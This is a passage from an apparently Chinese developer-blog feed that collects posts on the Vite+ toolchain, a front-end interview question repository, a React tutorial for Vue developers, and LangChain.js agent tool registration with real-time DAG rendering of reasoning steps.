装完就是一个独立二进制文件,不依赖 Node.js 全局安装,不需要 npm install -g。安装后打开新的终端窗口,运行 vp help 就能看到所有命令。在 CI 环境里可以用官方提供的 setup-vp Action。

运行 vp upgrade 可以更新 vp 本身到最新版本。

谁在做这件事

Vite+ 背后是 VoidZero,尤雨溪在 2024 年创立的公司,专注于 Web 工具链。核心团队成员里有几个名字值得关注:

  • 尤雨溪,Vue.jsVite 的创造者
  • LONG Yinan,Oxc 项目的核心作者,Rust 工具链领域的资深开发者
  • Christoph Nakazawa,前 Meta 工程师,Jest 的创造者

没错,Jest 的创造者现在在给 Vite+ 写测试框架。这个阵容不需要多解释。

GitHub 仓库显示,Vite+ 的代码库有 608 个 commit,62.9% 是 Rust,33.4% 是 TypeScript。目前最新版本是 v0.1.11,处于 Alpha 阶段。

Vite 本身每周 npm 下载量已达 6900 万次,GitHub 星标 78.7K,是前端构建工具的事实标准。Vitest 每周下载量也超过 3500 万。这套工具链的用户基数不需要从零积累。

商业模式

很多人关心的问题,这么大的项目,免费能持续多久?

VoidZero 的做法是,Vite+ 完全开源,MIT 协议,永久免费。公司的营收来源是另一个独立的商业产品 Void,具体形态还没公开,但大概率是面向企业的增强版或云服务。

这和 VercelNext.js 免费,平台收费)的路线类似,开源工具做增长飞轮,商业产品做营收。这条路已经被验证过了。

现阶段要注意的几点

虽然 Vite+ 的愿景很性感,但当前有几个现实问题值得正视。

第一,它现在是 Alpha 版本。v0.1.11,连 Beta 都没到,API 可能随时调整,生产环境请三思。官方文档里也明确说了,vp migrate 运行完之后大多数项目还需要手动调整,不是一键无缝。

第二,"大一统"是双刃剑。统一工具链的好处是减少配置和兼容性问题,但坏处是一旦某个模块出问题,整条链都可能受影响。以前 ESLint 出错不影响构建,以后就不好说了。

第三,生态兼容性需要时间。虽然理论上兼容 Vite 插件,但实际使用中肯定会有各种边界情况,社区插件的适配需要一个过程。

第四,包管理这块水很深。npmpnpmyarn 打了很多年,每家都有自己的 resolve 策略和 lockfile 格式,Vite+ 要在这个领域站稳脚跟,挑战不小。

这件事的意义

前端工具链的碎片化问题困扰社区很久了。一个新项目光配置工具链就要半天,node_modules 动辄几百 MB,各种工具之间的版本冲突是家常便饭。

Vite+ 的出现代表了一种趋势,用 Rust 重写性能敏感的部分,用统一的入口消除工具之间的缝隙。

类似的尝试不止 Vite+ 一家,BunDenoBiome 都在做类似的事。但 Vite+ 有一个独特优势,它站在 Vite 的肩膀上,从 ViteVite+ 的迁移路径是最短的,用户基数也是最大的。

从现在的角度来看,Alpha 阶段先关注、多试用、遇到问题提 issue 才是正确姿势。但这件事本身值得认真看待,前端工具链可能真的要变了。

📖 2026年 大厂前端面试手写题库已开源(2.3k star)

作者 sunny_
2026年3月15日 19:23

前端手写题集锦 use js 记录大厂笔试,面试常考手写题, 致力打造最全的前端JavaScript手写题题库和答案的最优解

Github:github.com/Sunny-117/j…

谢谢您的star,您的star是我更新的动力🥳

里面有答案,为了让你们有一个参考,不过非常希望你们能提供自己的思路,指出答案中存在的问题,复杂度优化等等, 期待你们的contribute, 想来一起维护这个项目,可以联系我,成为contributor

主要是让大家讨论出最优解,然后merge,一起贡献这个项目,有些答案有点问题,所以我给出的答案仅作参考,也欢迎发现的小伙伴提PR

贡献此项目

提PR就行

思考很久,用issue形式收集各种手写题,并让小伙伴们讨论题解

JavaScript HOT 100 题

中大厂面试,最常考的100个题,每一题都非常具有代表性,想要准备面试突击的同学,优先看这些题,祝在座的每一位都能拿到满意的offer

实现 Promise (hot)

Promise 周边场景题(hot)

JavaScript 常考手写题

设计模式相关

树-场景题(hot)

实现 JS 原生方法

JS 库函数实现

js utils

手写 nodejs 模块

正则相关

排序算法

实现自定义HOOK

组件设计题(Vue/React/JS均可)

HTML CSS 手写题

React 快速入门:Vue 开发者指南

作者 Lee川
2026年3月15日 18:21

React 快速入门:Vue 开发者指南

通过对比 Vue 和 React,快速掌握 React 核心概念


一、项目结构对比

1.1 依赖管理

React (package.json):

{
  "dependencies": {
    "react": "^19.2.0",
    "react-dom": "^19.2.0"
  }
}

Vue (package.json):

{
  "dependencies": {
    "vue": "^3.4.0"
  }
}

关键差异:

  • React 分两个包:react(核心库)+ react-dom(DOM 渲染器)
  • Vue 只需要一个包
  • React 设计更通用,支持多平台(Web、Native 等)

1.2 入口文件

React (main.jsx):

import { StrictMode } from 'react'
import { createRoot } from 'react-dom/client'
import App from './App.jsx'

createRoot(document.getElementById('root')).render(
  <StrictMode>
    <App />
  </StrictMode>,
)

Vue (main.js):

import { createApp } from 'vue'
import App from './App.vue'

createApp(App).mount('#app')

对比:

  • React 需要显式调用 render()
  • Vue 更简洁,一行完成创建和挂载
  • React 的 StrictMode 提供开发时检查

二、JSX:React 的模板语法

2.1 什么是 JSX?

JSX = JavaScript + XML,允许在 JS 中直接写 HTML 标签。

示例:

function App() {
  const name = "vue";
  return (
    <h1 className="title">Hello {name}!</h1>
  )
}

2.2 JSX vs Vue 模板

特性 React JSX Vue 模板
类名 className class
插值 {name} {{ name }}
事件 onClick={handler} @click="handler"
条件 {condition && <div />} v-if="condition"
列表 {items.map(i => <li />)} v-for="i in items"

2.3 JSX 的本质

JSX 代码:

const element = <h2>标题</h2>

编译后等价于:

const element2 = React.createElement('h2', null, '标题')

为什么使用 JSX?

  1. 更直观,接近 HTML
  2. 完整的 JavaScript 能力
  3. 更好的编辑器支持

三、组件基础

3.1 React 组件

// 函数就是组件
function App() {
  return <h1>Hello React!</h1>
}

export default App

关键点:

  • 组件是函数
  • 返回 JSX
  • 组件名必须大写(区分 HTML 标签)

3.2 组件组合

function Header() {
  return <header><h1>首页</h1></header>
}

function Articles() {
  return <div>文章列表</div>
}

function App() {
  return (
    <>
      <Header />
      <Articles />
    </>
  )
}

Fragment (<>):不会创建额外 DOM 节点,类似 Vue 的 <template>

3.3 Props 传递

// 父组件
function App() {
  return <UserProfile name="张三" />
}

// 子组件
function UserProfile({ name }) {
  return <h1>欢迎,{name}!</h1>
}

对比 Vue:

<template>
  <UserProfile :name="'张三'" />
</template>

<script setup>
const props = defineProps({ name: String })
</script>

四、状态管理:useState

4.1 基本用法

import { useState } from 'react';

function App() {
  const [name, setName] = useState("vue");
  
  return <h1>Hello {name}!</h1>
}

解析:

  • useState 返回数组:[状态值,更新函数]
  • "vue" 是初始值
  • 调用 setName() 会触发重新渲染

4.2 多个状态

function App() {
  const [name, setName] = useState("vue");
  const [todos, setTodos] = useState([
    { id: 1, title: "学习 react" },
    { id: 2, title: "学习 node" },
  ]);
  const [isLoggedIn, setIsLoggedIn] = useState(false);
  
  return (
    <>
      <h1>Hello {name}!</h1>
      {isLoggedIn ? <div>已登录</div> : <div>未登录</div>}
    </>
  )
}

4.3 不可变更新

// ❌ 错误:直接修改
todos.push(newTodo);
setTodos(todos);

// ✅ 正确:创建新数组
setTodos([...todos, newTodo]);

// ✅ 更新对象
setUser({ ...user, age: 26 });

为什么?

  • React 使用浅比较检测变化
  • 不可变数据更可预测
  • 支持并发特性

对比 Vue:

<script setup>
const todos = ref([])
// Vue 支持直接修改
todos.value.push(newTodo)
</script>

Vue 使用 Proxy 自动追踪变化,React 要求不可变更新。


五、事件处理

5.1 基本用法

function App() {
  const [count, setCount] = useState(0);
  
  const handleClick = () => {
    setCount(count + 1);
  };
  
  return <button onClick={handleClick}>+1</button>
}

关键点:

  • 事件名驼峰命名:onClick(不是 onclick
  • 传递函数引用:onClick={handleClick}
  • 不是调用:onClick={handleClick()}

5.2 事件传参

function App() {
  const handleDelete = (id) => {
    console.log('删除:', id);
  };
  
  return (
    <ul>
      {todos.map(todo => (
        <li key={todo.id} onClick={() => handleDelete(todo.id)}>
          {todo.title}
        </li>
      ))}
    </ul>
  )
}

使用箭头函数传参,简单直观。

5.3 对比 Vue

特性 React Vue
语法 onClick={handler} @click="handler"
阻止默认行为 e.preventDefault() .prevent 修饰器
事件对象 自动传递 $event

六、条件渲染

6.1 三元运算符

{isLoggedIn ? <div>已登录</div> : <div>未登录</div>}

6.2 逻辑与运算符

{isLoggedIn && <div>已登录</div>}

6.3 对比 Vue

React:

{count > 0 ? <p>{count}</p> : <p>无数据</p>}

Vue:

<p v-if="count > 0">{{ count }}</p>
<p v-else>无数据</p>

设计哲学:

  • React:使用 JavaScript 原生语法
  • Vue:使用模板指令

七、列表渲染

7.1 使用 map

function App() {
  const todos = [
    { id: 1, title: "学习 react" },
    { id: 2, title: "学习 node" },
  ];
  
  return (
    <ul>
      {todos.map(todo => (
        <li key={todo.id}>
          {todo.title}
        </li>
      ))}
    </ul>
  )
}

7.2 key 的重要性

// ✅ 正确:使用唯一 ID
<li key={todo.id}>

// ❌ 错误:使用索引
<li key={index}>

为什么需要 key?

  • 帮助 React 识别元素
  • 优化虚拟 DOM diff
  • 避免不必要的重新渲染

7.3 对比 Vue

React:

{todos.map(todo => <li key={todo.id}>{todo.title}</li>)}

Vue:

<li v-for="todo in todos" :key="todo.id">
  {{ todo.title }}
</li>

八、完整示例

import { useState } from 'react';
import './App.css';

function App() {
  // 状态管理
  const [name, setName] = useState("vue");
  const [todos, setTodos] = useState([
    { id: 1, title: "学习 react", done: false },
    { id: 2, title: "学习 node", done: false },
    { id: 3, title: "学习 js", done: false },
  ]);
  const [isLoggedIn, setIsLoggedIn] = useState(false);

  // 事件处理
  const toggleLogin = () => {
    setIsLoggedIn(!isLoggedIn);
  }

  // JSX 元素
  const element = <h2>JSX 是 React 的语法扩展</h2>

  return (
    <> 
      {element}
      <h1>Hello <span className="title">{name}!</span></h1>
      
      {/* 条件渲染 + 列表渲染 */}
      {todos.length > 0 ? (
        <ul>
          {todos.map((todo) => (
            <li key={todo.id}>
              {todo.title}
            </li>
          ))}
        </ul>
      ) : (<div>暂无待办事项</div>)}
      
      {/* 条件渲染 */}
      {isLoggedIn ? <div>已登录</div> : <div>未登录</div>}
      
      {/* 事件绑定 */}
      <button onClick={toggleLogin}>
        {isLoggedIn ? "退出登录" : "登录"}
      </button>
    </>
  )
}

export default App

代码要点:

  1. 使用 useState 管理三个状态
  2. 三元运算符实现条件渲染
  3. map 方法实现列表渲染
  4. 箭头函数处理事件
  5. Fragment (<>) 包裹多个元素

九、核心差异总结

9.1 设计哲学

方面 React Vue
定位 库 (Library) 框架 (Framework)
模板 JSX (JavaScript) 模板语法 (HTML-like)
状态更新 不可变 可变
学习曲线 较陡峭 较平缓
灵活性 中等

9.2 代码对比

React:

import { useState } from 'react';

function App() {
  const [count, setCount] = useState(0);
  
  return (
    <div>
      <p>计数:{count}</p>
      <button onClick={() => setCount(count + 1)}>+1</button>
    </div>
  )
}

Vue:

<script setup>
import { ref } from 'vue'

const count = ref(0)
</script>

<template>
  <div>
    <p>计数:{{ count }}</p>
    <button @click="count++">+1</button>
  </div>
</template>

9.3 关键记忆点

  1. JSX 用 {} 插值,不是 {{ }}
  2. 类名用 className,不是 class
  3. 事件用 onClick,不是 @click
  4. 状态不可变更新,不能直接修改
  5. 列表需要 key,使用唯一 ID
  6. 条件用三元运算符,不是 v-if

十、常见陷阱

陷阱 1:直接修改状态

// ❌ 错误
count = count + 1;

// ✅ 正确
setCount(count + 1);

陷阱 2:忘记 key

// ❌ 错误
{items.map(item => <div>{item.name}</div>)}

// ✅ 正确
{items.map(item => <div key={item.id}>{item.name}</div>)}

陷阱 3:混淆 class

// ❌ 错误
<div class="container">

// ✅ 正确
<div className="container">

陷阱 4:事件立即执行

// ❌ 错误
<button onClick={handleClick()}>

// ✅ 正确
<button onClick={handleClick}>

十一、学习建议

11.1 学习路线

第 1 周:基础

  • JSX 语法
  • 组件定义
  • useState

第 2 周:进阶

  • 事件处理
  • 条件/列表渲染
  • useEffect

第 3 周:生态

  • React Router
  • 状态管理
  • UI 组件库

11.2 思维转换

从 Vue 到 React,需要转变:

  1. 从模板到 JSX:接受"一切皆 JavaScript"
  2. 从可变到不可变:习惯创建新对象
  3. 从指令到函数:用原生语法替代指令

11.3 选择建议

选 React 如果:

  • JavaScript 基础好
  • 需要灵活性
  • 想开发跨平台应用

选 Vue 如果:

  • 快速上手
  • 喜欢完整方案
  • 主要开发 Web 应用

总结

React 核心要点:

  1. ✅ JSX 是 JavaScript 扩展,不是 HTML
  2. ✅ 组件是函数,返回 JSX
  3. ✅ useState 管理状态,不可变更新
  4. ✅ 事件用 onClick,传递函数引用
  5. ✅ 条件用三元运算符,列表用 map
  6. ✅ key 帮助优化渲染,必须提供

最后的话:

React 和 Vue 都是优秀框架,没有绝对好坏。理解差异,选择适合的,持续学习才是关键。

资源推荐:

祝你学习顺利! 🚀

基于 LangChain.js 的前端 Agent 工作流编排:Tool 注册、思维链可视化与多步推理的实时 DAG 渲染

2026年3月15日 18:01

基于 LangChain.js 的前端 Agent 工作流编排:Tool 注册、思维链可视化与多步推理的实时 DAG 渲染

AgentExecutor.invoke() 那个 Promise resolve 的时候,你用户已经对着空白页发了 40 秒呆。

这不是性能问题。这是产品层面的硬伤——LLM Agent 做推理天生就慢,一个中等复杂度的任务跑个 3 到 5 轮 tool.call() 很正常,每轮都要等模型吐完 token、解析结构化输出、跑一下外部调用、再把结果塞回 messages 数组喂回去,整条链路跑下来十几秒起步,你要是把这些全藏在一个 loading spinner 后面,用户的耐心大概撑不过第二轮。所以真正要解决的问题不是"怎么让 Agent 跑起来",是怎么把它边跑边想的过程实时地、结构化地渲染出来(当然这是理想情况)。

Tool 选择、参数组装、中间结果、重试决策。全得摊开给用户看。说白了嘛,就是给 LLM 的"内心戏"搭一个可视化的舞台,让用户知道它不是卡死了而是真的在干活。跑通一个 demo 不难,难的是这套东西在生产环境里不崩——两个字概括就是"耐操"。

用户输入
  ↓
LLM 决策(选 Tool + 生成参数)
  ↓                    ↓
Tool A 执行         Tool B 执行(并行)
  ↓                    ↓
结果合并 → LLM 再决策
               ↓
          Tool C 执行
               ↓
          最终输出

这个流程画出来像个 DAG。但运行时它是动态生长的——你在第一步根本不知道后面会长出几个分支,也不知道哪个 Tool 会超时、哪个会返回意料之外的格式让 LLM 的 JSON.parse 直接炸掉。这篇文章围绕这个矛盾展开:怎么设计一套前端架构让 Tool 可插拔注册、思维链状态可追踪、DAG 可实时渲染,同时不把代码写成一坨谁都不想维护的东西。

Tool 注册机制:别让你的 Agent 变成一个巨型 switch-case

先上问题。LangChain.js 里注册 Tool 的标准姿势大概长这样:

import { DynamicStructuredTool } from '@langchain/core/tools'
import { z } from 'zod'

const searchTool = new DynamicStructuredTool({
  name: 'web_search',
  description: '搜索互联网获取实时信息',
  schema: z.object({
    query: z.string().describe('搜索关键词'),
    maxResults: z.number().optional().default(5),
  }),
  func: async ({ query, maxResults }) => {
    const res = await fetch(`/api/search?q=${encodeURIComponent(query)}&limit=${maxResults}`)
    const data = await res.json()
    return JSON.stringify(data.results.slice(0, maxResults))
  },
})

一个 Tool 写成这样没问题。三个也凑合。十五个呢?

真实项目里 Agent 要调的 Tool 很容易膨胀到两位数——搜索、计算、db.query()、文件读写、外部 REST API 调用、沙箱代码执行——每一个都有自己的 schema 定义、错误处理逻辑、重试策略、权限校验规则,你要是把它们全塞在一个文件里就会得到一个 800 行的 tools.ts,三个月后没人敢碰这玩意。

需要 registry 模式。

// tool-registry.ts
// 核心思路:Tool 自己知道自己是谁,registry 只负责收集和分发

type ToolMeta = {
  category: 'search' | 'compute' | 'io' | 'external'
  requiresAuth: boolean
  timeout: number  // 毫秒,超时直接 abort
  retryable: boolean
}

class ToolRegistry {
  private tools = new Map<string, DynamicStructuredTool>()
  private meta = new Map<string, ToolMeta>()

  register(tool: DynamicStructuredTool, meta: ToolMeta) {
    if (this.tools.has(tool.name)) {
      // 同名 Tool 重复注册,直接炸——这种 bug 越早发现越好
      throw new Error(`Tool "${tool.name}" already registered`)
    }
    this.tools.set(tool.name, tool)
    this.meta.set(tool.name, meta)
  }

  getTools(filter?: { category?: ToolMeta['category'] }): DynamicStructuredTool[] {
    let entries = [...this.tools.entries()]
    if (filter?.category) {
      entries = entries.filter(([name]) => 
        this.meta.get(name)?.category === filter.category
      )
    }
    return entries.map(([, tool]) => tool)
  }

  getMeta(name: string): ToolMeta | undefined {
    return this.meta.get(name)
  }
}

export const registry = new ToolRegistry()

然后每个 Tool 自己单独一个文件,文件末尾做自注册,import 的副作用就是把自己挂到 registry 上:

// tools/web-search.ts
import { registry } from '../tool-registry'

const tool = new DynamicStructuredTool({
  name: 'web_search',
  description: '搜索互联网获取实时信息',
  schema: z.object({ query: z.string() }),
  func: async ({ query }) => {
    // ...实际逻辑
  },
})

registry.register(tool, {
  category: 'search',
  requiresAuth: false,
  timeout: 10000,
  retryable: true,
})

这个模式有个隐含的坑。

const toolModules = import.meta.glob('./tools/*.ts', { eager: true })
// eager: true → 同步加载,确保注册发生在 Agent 创建之前
// 不需要用返回值,import 的副作用已经完成注册

静态注册搞定了。

但跑起来还有一层:Tool 执行过程中的生命周期钩子。你需要知道一个 Tool 什么时候开始执行、什么时候结束、返回了什么、报错了没有——这些信息不只是后面思维链可视化的数据源,它就是思维链本身的骨架,没有这些事件流你后面画个锤子的 DAG。

嗯,继续。

LangChain.js 原生提供了 callbacks 机制来做这事。但它的回调设计——怎么说呢——有点"Java 味儿",handleToolStarthandleToolEndhandleToolError 一堆方法签名糊你脸上,参数类型还经常对不上文档(虽然这个设计我觉得有点奇怪,明明 TypeScript 项目为什么类型定义这么随意)。我的做法是在 registry 层包一层代理把 Tool 的 func 拦截掉:

// 在 ToolRegistry.register 方法内部
register(tool: DynamicStructuredTool, meta: ToolMeta) {
  const originalFunc = tool.func.bind(tool)

  const wrappedFunc = async (input: any, runManager?: any) => {
    const startTime = Date.now()
    const executionId = crypto.randomUUID()

    this.emit('tool:start', { 
      executionId, 
      toolName: tool.name, 
      input, 
      timestamp: startTime 
    })

    try {
      const result = await Promise.race([
        originalFunc(input, runManager),
        new Promise((_, reject) => 
          setTimeout(() => reject(new Error(`Tool ${tool.name} timeout`)), meta.timeout)
        ),
      ])

      this.emit('tool:end', { 
        executionId, 
        toolName: tool.name, 
        result, 
        duration: Date.now() - startTime 
      })
      return result
    } catch (err) {
      this.emit('tool:error', { 
        executionId, 
        toolName: tool.name, 
        error: err, 
        duration: Date.now() - startTime,
        retryable: meta.retryable,
      })
      throw err
    }
  }

  ;(tool as any).func = wrappedFunc
  this.tools.set(tool.name, tool)
  this.meta.set(tool.name, meta)
}

这段代码有个细节值得停一下。Promise.race 里塞 setTimeout 做超时兜底这个套路很常见,但用在 LangChain Tool 里有一个陷阱——timeout reject 之后原始的 fetch 或者数据库查询其实还在跑着呢。你的 Agent 已经收到报错往下走了,后台还挂着一个请求在那耗资源。前端并发高这个说法本身就有点奇怪对吧?一个用户一次也就跑一个 Agent。但你仔细想——如果 Agent 支持并行 Tool 调用,同时起 3、4 个 fetch,再叠上用户可能开了好几个对话 tab 每个 tab 都在跑,这个泄漏就不是理论问题了,AbortController 是正解但 DynamicStructuredTool 不方便把 AbortSignal 传进 func 里,得自己在闭包里存一个,写出来不好看,先欠着。

嗯,继续。

真正让 registry 模式值回票价的是动态 Tool 集,不同用户角色、不同对话场景,Agent 能调的 Tool 不一样。管理员能用 db_query,普通用户碰都别碰(虽然官方文档不是这么说的)。哦不,准确说是用 db_query,普通用户碰都别碰(虽然官方文档不是这么说的)。处理代码问题时加载 code_executor,闲聊天的时候不需要。

function getToolsForContext(user: User, conversationType: string) {
  const tools = registry.getTools()

  return tools.filter(tool => {
    const meta = registry.getMeta(tool.name)!
    if (meta.requiresAuth && !user.permissions.includes(tool.name)) {
      return false
    }
    if (conversationType === 'casual' && meta.category === 'compute') {
      return false
    }
    return true
  })
}

const agent = await createOpenAIFunctionsAgent({
  llm,
  tools: getToolsForContext(currentUser, 'technical'),
  prompt,
})

这段 filter 看着朴素,本质上是把 Tool 的注册和使用解耦了。

不过话说回来。这套 registry 最大的受益者不是运行时(虽然官方文档不是这么说的)。是后面的 DAG 渲染,因为 tool:starttool:end 这些事件流出来了,思维链的数据源就有了。

思维链状态管理:把 LLM 的内心戏变成一棵可追踪的树

AgentExecutor 跑起来之后内部在干嘛?

就是一个循环:

while (true) {
  1. 把当前 messages 数组发给 LLM
  2. LLM 返回:要调 Tool(哪个 Tool 什么参数)或者直接吐最终答案
  3. 最终答案 → break
  4. Tool 调用 → 执行 → 结果塞回 messages → 回到 1
}

循环每转一圈就是思维链上一个节点。问题在于 LangChain 的 callbacks 能告诉你这些事件发生了,但它不给你一个结构化的状态对象来表达整条链的拓扑关系——你拿到的是一堆散装事件,得自己攒成一棵树。

一开始设计太复杂了后来砍了又砍,砍到不能再砍:(数据结构。踩了几次坑之后收敛出来的版本)

type ThinkingNodeType = 'llm_call' | 'tool_call' | 'tool_result' | 'final_answer' | 'error'

type ThinkingNodeStatus = 'pending' | 'running' | 'completed' | 'failed'

interface ThinkingNode {
  id: string
  type: ThinkingNodeType
  status: ThinkingNodeStatus
  parentId: string | null
  label: string
  data: Record<string, any>
  startedAt: number
  completedAt: number | null
  children: string[]
  streamTokens?: string[]
}

interface ThinkingChain {
  sessionId: string
  rootId: string
  nodes: Map<string, ThinkingNode>
  currentNodeId: string | null
}

ThinkingNodeparentIdchildren 形成树结构。等下——不是说好了 DAG 吗?对,理论上如果两个 Tool 的结果同时喂给下一轮 LLM 决策那确实是 DAG 不是树。但在 LangChain.js 目前的 AgentExecutor 实现里(注意我说的是 AgentExecutor 不是 langgraph)并行 Tool 调用的结果最终还是拼成一条消息喂回去的,所以中间状态用树来建模够用了,真要严格 DAG 后面单独讲。

管理器,维护这棵树同时对接 LangChain 的 callback 体系:

class ThinkingChainManager {
  private chain: ThinkingChain
  private listeners = new Set<(chain: ThinkingChain) => void>()

  constructor(sessionId: string) {
    const rootId = crypto.randomUUID()
    this.chain = {
      sessionId,
      rootId,
      nodes: new Map(),
      currentNodeId: null,
    }
  }

  addNode(
    type: ThinkingNodeType,
    label: string,
    parentId: string | null,
    data: Record<string, any> = {}
  ): string {
    const id = crypto.randomUUID()
    const node: ThinkingNode = {
      id, type, status: 'pending', parentId, label, data,
      startedAt: Date.now(), completedAt: null, children: [],
    }

    this.chain.nodes.set(id, node)

    if (parentId && this.chain.nodes.has(parentId)) {
      this.chain.nodes.get(parentId)!.children.push(id)
    }

    this.notify()
    return id
  }

  updateStatus(nodeId: string, status: ThinkingNodeStatus) {
    const node = this.chain.nodes.get(nodeId)
    if (!node) return
    node.status = status
    if (status === 'completed' || status === 'failed') {
      node.completedAt = Date.now()
    }
    if (status === 'running') {
      this.chain.currentNodeId = nodeId
    }
    this.notify()
  }

  appendStreamToken(nodeId: string, token: string) {
    const node = this.chain.nodes.get(nodeId)
    if (!node) return
    if (!node.streamTokens) node.streamTokens = []
    node.streamTokens.push(token)
    // 这里刻意不调 notify()
  }

  subscribe(listener: (chain: ThinkingChain) => void) {
    this.listeners.add(listener)
    return () => this.listeners.delete(listener)
  }

  private notify() {
    this.listeners.forEach(fn => fn(this.chain))
  }

  getSnapshot(): ThinkingChain {
    return this.chain
  }
}

为什么 appendStreamToken 不触发 notify()

因为 GPT-4 和 Claude 吐 token 的速度大概每秒 30 到 80 个,短 token 飞起来的时候能到 100 以上——如果每个 token 都触发一次 React re-render 你的 UI 线程会直接卡成幻灯片放映。正确做法是在消费端 throttle,用 requestAnimationFrame 一帧刷一次就够了:

useEffect(() => {
  const unsub = chainManager.subscribe(chain => {
    setDisplayChain(structuredClone(chain))
  })

  let rafId: number
  const tickStream = () => {
    setDisplayChain(structuredClone(chainManager.getSnapshot()))
    rafId = requestAnimationFrame(tickStream)
  }
  rafId = requestAnimationFrame(tickStream)

  return () => {
    unsub()
    cancelAnimationFrame(rafId)
  }
}, [chainManager])

structuredClone 在这里是有点奢侈的。节点多的时候每帧 clone 一次整棵树开销不小(虽然说实话 20 个节点的对象 clone 一次也就微秒级别),更好的做法是上 immer 维护 immutable 结构,但过早优化不如先跑通再说。

写到这里突然觉得之前说的不太对。

接着要把 ThinkingChainManager 和 LangChain 的 callback 对接。继承 BaseCallbackHandler 重写一堆 handle* 方法:

import { BaseCallbackHandler } from '@langchain/core/callbacks/base'

class ThinkingChainCallbackHandler extends BaseCallbackHandler {
  name = 'ThinkingChainHandler'
  private manager: ThinkingChainManager
  private runNodeMap = new Map<string, string>()
  private currentLlmNodeId: string | null = null

  constructor(manager: ThinkingChainManager) {
    super()
    this.manager = manager
  }

  async handleLLMStart(llm: any, prompts: string[], runId: string) {
    const parentId = this.getParentNodeId()
    const nodeId = this.manager.addNode(
      'llm_call',
      '正在思考...',
      parentId,
      { model: llm?.modelName || 'unknown' }
    )
    this.runNodeMap.set(runId, nodeId)
    this.currentLlmNodeId = nodeId
    this.manager.updateStatus(nodeId, 'running')
  }

  async handleLLMNewToken(token: string) {
    if (this.currentLlmNodeId) {
      this.manager.appendStreamToken(this.currentLlmNodeId, token)
    }
  }

  async handleLLMEnd(output: any, runId: string) {
    const nodeId = this.runNodeMap.get(runId)
    if (nodeId) {
      this.manager.updateStatus(nodeId, 'completed')
    }
    this.currentLlmNodeId = null
  }

  async handleToolStart(tool: any, input: string, runId: string) {
    const parentId = this.currentLlmNodeId || this.getParentNodeId()
    const nodeId = this.manager.addNode(
      'tool_call',
      `调用 ${tool.name || 'Tool'}`,
      parentId,
      { toolName: tool.name, input: JSON.parse(input || '{}') }
    )
    this.runNodeMap.set(runId, nodeId)
    this.manager.updateStatus(nodeId, 'running')
  }

  async handleToolEnd(output: string, runId: string) {
    const nodeId = this.runNodeMap.get(runId)
    if (!nodeId) return

    const resultNodeId = this.manager.addNode(
      'tool_result',
      '结果返回',
      nodeId,
      { output: output.slice(0, 500) }
    )
    this.manager.updateStatus(resultNodeId, 'completed')
    this.manager.updateStatus(nodeId, 'completed')
  }

  async handleToolError(err: any, runId: string) {
    const nodeId = this.runNodeMap.get(runId)
    if (nodeId) {
      this.manager.updateStatus(nodeId, 'failed')
      this.manager.addNode('error', `错误: ${err.message}`, nodeId, { error: err })
    }
  }

  private getParentNodeId(): string | null {
    return this.manager.getSnapshot().currentNodeId
  }
}

这段 handler 有一个 LangChain 做得不好的地方——handleToolStart 的第二个参数 inputstring 不是结构化对象,你得自己 JSON.parse,而且它有时候给你的不是合法 JSON。不是 bug。是"特性"。(我已经在 GitHub issue 里看到过不下十个人吐槽这个事了,官方一直没改。)

串起来。启动代码:

const chainManager = new ThinkingChainManager(sessionId)
const callbackHandler = new ThinkingChainCallbackHandler(chainManager)

const executor = AgentExecutor.fromAgentAndTools({
  agent,
  tools: getToolsForContext(currentUser, conversationType),
  callbacks: [callbackHandler],
  // streaming 这个配置名字叫 streaming
  // 但实际控制的是 callback 的粒度——不开的话 handleLLMNewToken 不触发
})

registry.on('tool:start', (event) => {
  // 补充 meta 信息:预期耗时、是否可重试之类的
})

到这一步思维链的数据流就通了,每一步推理每一次 Tool 调用都会在 ThinkingChainManager 里生成对应节点。

拉回来讲渲染。

DAG 渲染:把动态生长的图画到屏幕上

这是整个方案里最容易做出来、也最容易做烂的部分。

先明确一下要渲染什么:

[用户提问][LLM 思考 #1] ──→ [调用 web_search("天气")] ──→ [结果: 晴 25°C]
    ↓                                                    ↓
[LLM 思考 #2] ←──────────────────────────────────────────┘
    ↓
    ├──→ [调用 calculator("25 * 9/5 + 32")] ──→ [结果: 77°F]
    │
    └──→ [调用 translator("晴", "en")] ──→ [结果: "Sunny"]
              ↓                                    ↓
[LLM 思考 #3] ←──────────────────────────────────┘
    ↓
[最终回答: "今天天气晴朗,25°C (77°F)"]

节点类型不统一,有 llm_calltool_calltool_resultfinal_answer。连边方向单一但有并行分支。整个图是边跑边长的——这很要命。

用什么库?

核心挑战不在渲染。在布局算法。

每次新增节点整个图的布局可能要重算,如果用 dagre 做自动布局(react-flow 文档推荐的方式),每次 addNode 就重新算一遍所有节点的 x/y 坐标——已有节点位置会跳。用户正盯着某个节点看呢突然它蹦到另一个位置去了。体验极差。

我的方案是增量布局。新节点根据父节点位置做相对定位,已有节点纹丝不动:

import { useCallback, useRef } from 'react'

const LAYOUT = {
  nodeWidth: 240,
  nodeHeight: 80,
  horizontalGap: 60,
  verticalGap: 100,
} as const

function useIncrementalLayout() {
  const positionCache = useRef(new Map<string, { x: number; y: number }>())
  const depthCounters = useRef(new Map<number, number>())

  const getNodePosition = useCallback((
    nodeId: string,
    parentId: string | null,
    depth: number
  ): { x: number; y: number } => {
    if (positionCache.current.has(nodeId)) {
      return positionCache.current.get(nodeId)!
    }

    const currentCount = depthCounters.current.get(depth) || 0
    depthCounters.current.set(depth, currentCount + 1)

    let x: number, y: number

    if (!parentId) {
      x = 400
      y = 50
    } else {
      const parentPos = positionCache.current.get(parentId)
      if (parentPos) {
        x = parentPos.x + (currentCount * (LAYOUT.nodeWidth + LAYOUT.horizontalGap))
        y = parentPos.y + LAYOUT.verticalGap
        
        const siblings = currentCount
        if (siblings > 0) {
          x = parentPos.x + ((siblings - 0.5) * (LAYOUT.nodeWidth + LAYOUT.horizontalGap) / 2)
        }
      } else {
        x = currentCount * (LAYOUT.nodeWidth + LAYOUT.horizontalGap)
        y = depth * LAYOUT.verticalGap
      }
    }

    const pos = { x, y }
    positionCache.current.set(nodeId, pos)
    return pos
  }, [])

  return { getNodePosition }
}

坦白讲这段布局代码写得有点糙。并行分支水平展开的算法不太对,三个以上并行 Tool 的时候节点会挤成一坨——但 80% 的场景够用。再说吧。完美的 DAG 布局是一个学术级问题,Sugiyama 算法那一套你真去实现要写好几百行,在这个业务场景下追求完美属于浪费生命。你的用户关心的是"Agent 在干嘛""到第几步了""哪步挂了",不是这图的 margin 对不对称。

自定义节点组件,根据 ThinkingNodeType 渲染不同样式:

function ThinkingNodeComponent({ data }: { data: ThinkingNode }) {
  const statusColor = {
    pending: '#94a3b8',
